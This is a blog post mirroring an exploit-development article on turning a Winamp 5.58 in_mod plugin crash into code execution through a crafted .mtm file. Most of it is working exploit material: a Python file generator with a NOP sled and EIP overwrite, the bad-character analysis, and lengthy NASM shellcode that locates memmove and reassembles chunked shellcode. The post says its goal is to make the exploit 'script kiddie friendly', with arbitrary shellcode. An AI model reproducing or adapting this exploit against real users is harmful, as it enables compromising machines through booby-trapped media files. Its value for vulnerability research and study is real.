Shut Up and Hack

I like reading more than writing, and, in fact, I don't write too much.

Winamp 5.58 From Denial of Service to Code Execution Part 2

We weren’t satisfied ;-)

Part 2 of Winamp 5.58 from Denial of Service to Code Execution article was published today at The Exploit Database Blog. Have Fun!

Mirror bellow.

Winamp 5.58 from Denial of Service to Code Execution Part 2

The solution we used on the first Winamp in_mod_plugin exploit was not as elegant as we would like. First of all, it used a lot of code and secondly, the work that was required to change the shellcode was not a trivial undertaking. So in this post, we present a way to improve the second flaw and make this script kiddie friendly.

In order to explain things better, remember that we started with fdisk’s proof of concept script shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python

header = "\x4D\x54\x4D\x10\x63\x6C\x69\x63\x6B\x20\x68\x65\x72\x65\x20\x66\x6F\x72\x20\x69\x6E\x66\x6F\x21\xE0\x00\x29\x39\xFF\xFF\x1F\x00\x40\x0E"
header += "\x78" * 32
buffersize = 65536

nopsled = "\x90" * 58207
eip = "\x42\x42\x42\x42"
shellcode = "\x43" * 512
payload = header + nopsled + eip + shellcode

file = open("crash.mtm", "w")
file.write(payload)
file.close()

print "mtm file generated successfuly"

As you can see in the debugger stack window, the injected code suffers a transformation.

If we change the PoC a little, we get:

1
2
3
#include bytes from 0x01 to 0x21
shellcode = "".join([struct.pack("B", i) for i in range(1, 0x22)])
shellcode += "\x43" * 512

What becomes of the 0x0D and 0x0A bytes is not clear. Let’s try another change in the shellcode:

1
2
shellcode = "\x90"*3 + "\x0D" + "\x90"*3 + "\x0A"
shellcode += "\x43" * 512

Stupid badchars:

1
2
3
1. WinAmp inserts the bytes 0x0D 0x0A after every 40 bytes.
2. Bytes below 0×14 are transformed into 0×20.
3. Any occurrence of 0x0D or 0x0A gets replaced by two bytes “\x0D\x0A.

Exploit modi-FU-cations

First we need to use only bytes that are greater than 0×14 which we get using an alpha encoder. Secondly, we need to solve the limitation of 40 bytes. To accomplish this, we built a little program (move-sc.asm) that copies each 40-byte-chunk of our shellcode into a new location using the memmove instruction (borrowed from ntdll.dll).

We now a have a path, although it is not pain free:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1. We need to find the memmove address dynamically in order to make a portable exploit.
2. If our move-sc is greater than 40 bytes (and of course it will be because of our limited assembly black magic) we need a workaround for the bytes 0x0D 0x0A.
3. We can only use assembly instructions with the correct opcodes.
4. You have to consider how many bytes will be inserted by Winamp and use relative jumps.
5. The move-sc needs to work relative to the ESP, because it is the only register pointing back to the overflown data.
6. The painful algorithm to get feedback on each change (if you know a shortcut, please stop laughing and mail me the solution!, maybe a pycommand?):
a introduce your changes
b assembly
c exe
d objdump
e generate and modify the shellcode when you need to append opcodes that create your desired instruction
f copy & paste to generate exploit
g use the exploit to generate the mtm
h open winamp and drop in it the mtm file
i Attach debugger to Winamp
j Be in pain and anger, because the exploit doesnt work as expected
k wonder if you should be suffering this pain or if there is a good program on t.v.
l goto a

The move-sc’s source code

Each 40 bytes, we will append the following:

1
2
3
4
5
6
7
push eax
;0x0D inserted by winamp
;0x0A inserted by winamp
nop
nop
nop
pop eax

The opcodes: 0d 0a 90 90 90 are an OR with EAX. In order to preserve the old value of EAX, we save it to the stack.

Below is the final result in nasm. The first part calculates the memmove address and puts it in EAX. After that, it moves the EBP to the source and the ESP to the destination and copies 40 bytes and skip 2 bytes each time of the loop for strNroChunks times (this value will be right from the exploit).

After you create the shellcode, you need to make the following replacements in order to get the same shellcode used in the exploit:

1
2
3
4
1. \x0d ? \x0d\xff
2. \x31\xd2\xb2\x11\xfe\xca ? \x31\xd2\xb2+strNroChunks+”\xfe\xca
3. \x54\x31\xc9\xb1\x11\x50 ? \x54\x31\xc9\xb1+strNroChunks+”\x50
4. \xcc ? \x90

The first one is to bypass the problem with ror edx, 0dh. The original opcodes are c1 ca 0d. We know that after the 0d comes the 0a. To get rid of this, we add the byte 0xff to get 0x0a 0xff, an inoffensive OR.

The second and third replacement is to get the exploit to decide how many chunks of the shellcode is going to be copied.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
global _start

section .text

_start:

;nop; 0D
;nop; 0A
nop
nop
nop

find_function2:
nop

nop

nop

nop
find_function:
nop

nop
nop
nop
nop
nop

;jmp entry
mov ebx, esp
sub ebx, -0x134
jmp ebx
;find_function:
pushad
mov ebp, edi
mov eax, [ebp + 3ch]
neg eax
sub ebp, eax
mov edi, [ebp + 78h]
neg eax
sub ebp, eax
neg ebp
sub edi, ebp
mov ecx, [edi + 18h]

push eax
nop
nop
;nop; 0D
;nop; 0A
nop
nop
nop
pop eax

mov ebx, [edi + 20h]

find_function_loop:

sub ebx, ebp
neg ebp

;find_function_loop:
test ecx, ecx
jne no_return ;
popad
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
no_return: ;
dec ecx
mov esi, [ebx + ecx * 4]
neg ebp
sub esi, ebp
neg ebp
xor eax, eax
compute_hash_again: ;
cdq
cld
;compute_hash_again:
lodsb
test al, al
jz compute_hash_finished ;

ror edx, 0dh

neg eax
sub edx, eax
neg eax
jmp compute_hash_again ;
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

nop
nop
nop

compute_hash_finished: ;
cmp edx, [esp + 28h]

jnz find_function_loop
mov ebx, [edi + 24h]

push eax
nop
;nop; 0D
;nop; 0A
nop
nop
nop
pop eax

neg ebp
sub ebx, ebp

push eax
push ebx

neg ecx
sub ebx, ecx
sub ebx, ecx
xor eax, eax
mov al, 20h
sub ebx, eax

neg ecx
mov cx, [ebx+20h]

pop ebx
pop eax

dec edi
dec edi
dec edi
dec edi

mov ebx, [edi + 20h]
inc edi

push eax
;nop; 0D
;nop; 0A
nop
nop
nop
pop eax

inc edi

inc edi
inc edi

sub ebx, ebp

push ebx
push edx

xor edx, edx
mov dl, 20h
neg ecx

sub ebx, ecx
sub ebx, ecx
sub ebx, ecx
sub ebx, ecx
sub ebx, edx
mov eax, [ebx + 20h]
neg ecx
pop edx
pop ebx

sub eax, ebp

neg ebp
dec esp

push eax
;nop; 0D
;nop; 0A
nop
nop
nop
pop eax

dec esp
dec esp
dec esp
mov [esp + 20h], eax
inc esp
inc esp
inc esp
inc esp

popad
ret
entry:
;pop esp
;push ebx
nop
nop
xor ebx, ebx
mov bl, -80h
sub esp, ebx
pop ebx

mov ebp, esp
xor eax, eax

mov eax, [fs:eax+30h]

dec eax

mov eax, [eax+0dh]

dec eax
dec eax
dec eax
dec eax

mov esi, [eax+20h]

lodsd
sub al, 20h
mov edi, [eax+28h]
sub al, +20h
mov [ebp + 60h], edi

dec esp
dec esp
dec esp
dec esp
dec esp
dec esp
dec esp
dec esp
push edx
inc esp

inc esp
inc esp
inc esp
inc esp
inc esp

inc esp
inc esp

push eax
nop
nop
nop
;nop; 0D
;nop; 0A
nop
nop
nop
pop eax

mov edx, 0xc9ec2c6c
neg edx

sub edx, 0x22222222
neg edx

push edx ;0xec0e4e8e
dec esp
dec esp
dec esp
dec esp

pop edx

push edi
call find_function

push ebx
mov ebx, ebp
sub bl, 20h

push eax
nop
nop
;nop; 0D
;nop; 0A
nop
nop
nop
pop eax

mov [ebx+20h], eax

pop ebx

xor eax, eax
sub al, -80h
sub al, 70h
sub ebp, eax
xor eax, eax
push eax
push 2020206ch
push 6c642e6ch
push 6c64746eh

push esp

mov eax, ebp
sub al, -70h

push eax
;nop; 0D
;nop; 0A
nop
nop
nop
pop eax

sub al, 80h

mov eax, [eax+20h]

call eax
mov edi,eax
push 05F6AEC58h

push edi
call find_function2

int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3

push eax
;nop; 0D
;nop; 0A
nop
nop
nop
pop eax
; TADA!!
mov ebp, esp
xor edx, edx
sub dx, -0x364
nop
nop
nop
nop
nop
neg dx
sub bp, dx ;
;sub sp, word 0x2700 ;[subEsp]
xor edx, edx
mov dx, 0x2777
sub esp, edx
mov edi, esp
push esp ;
xor ecx, ecx
mov cl, byte 0x1e ;[nroChunks]
push eax
nop
;nop; 0D
;nop; 0A
nop
nop
nop
pop eax
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
loop1:
dec cl
dec cl
dec cl
;;for!!
;loop1:
;source + i*(chunkSize+spaceBetweenChunks)
push eax
xor eax, eax
mov al, byte 0x28 ;[chunkSize]
inc al
push eax
nop
;nop; 0D
;nop; 0A
nop
nop
nop
pop eax
inc al
xor edx, edx
mov dl, byte 0x1e ;[nroChunks]
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
sub edx, ecx
push eax
nop
nop
nop
;nop; 0D
;nop; 0A
nop
nop
nop
pop eax
mul byte dl
mov esi, eax
pop eax
;mov ebp, source
neg ebp
sub esi, ebp
neg ebp
push eax
push ecx
xor ebx, ebx
mov bl, byte 0x28 ;[chunkSize]
push ebx
push esi
push edi
;mov eax, 0x7C9120F5 ;[memmoveAddr]
call eax
sub sp, -12
pop ecx
pop eax
xor ebx, ebx
mov bl, byte 0x28 ;[chunkSize]
push eax
nop
;nop; 0D
;nop; 0A
nop
nop
nop
pop eax
neg ebx
sub edi, ebx
xor ebx, ebx
dec bl
sub esi, ebx
loop loop1
pop edi
call edi

The friendly Winamp in_mod_plugin Exploit is quite straightforward. There are only a few notes:

1
2
3
4
1. The fill method is supposed to fill with nops to get a size thats a multiple of 40. It just makes the calculations easy.
2. The shellcode needs a new valid stack (because ESP is pointing right in the middle of the code!). We get it by subtracting (add instruction is not usable, stupid bad chars) a big number to the ESP: “\x81\xEC\x19\x78\xFF\xFF.
3. nroChunks = (len(shellcode) / 40) to get how many chunks of 40 bytes has the shellcode.
4. strNroChunks = struct.pack(B, nroChunks+13) because the move-sc always subtracts 13 to the number of chunks. The reason is that we needed to use greater opcodes.

Finally, the payload has the following layout:

1
payload = header + nopsled + eip + nops + move-sc + shellcode

When the move-sc gets executed, it will copy each 40byte-chunk from the shellcode and will put it in some place inside the nopsled and will jump to it. To do so, move-sc needs to point the EBP at the shellcode and the ESP to the nopsled. It’s done by using:

1
2
3
4
5
6
7
8
mov     ebp, esp
xor     edx, edx
sub     dx, -0x364
neg     dx
sub     bp, dx
xor     edx, edx
mov     dx, 0x2777
sub     esp, edx

“Thats all folks”. We now have an exploit that works with any shellcode (at least with the ones we tested it). Just change RET and enjoy.

About the Authors

    • David Mora (Mighty-D) has a Master degree in Information Security, he works as an independent consultant and a university teacher. He hates rainy days and bad chars.
    • Ricardo Yepes (7eK) is a software engineer at day, information security lover at night, with recent interest in scripting debuggers and exploit development.
    • Rui Reis (fdisk) works at a Portuguese Managed Security Services Provider and he is particularly interested in tactical exploitation, client-side exploits, fuzzing, and exploit development.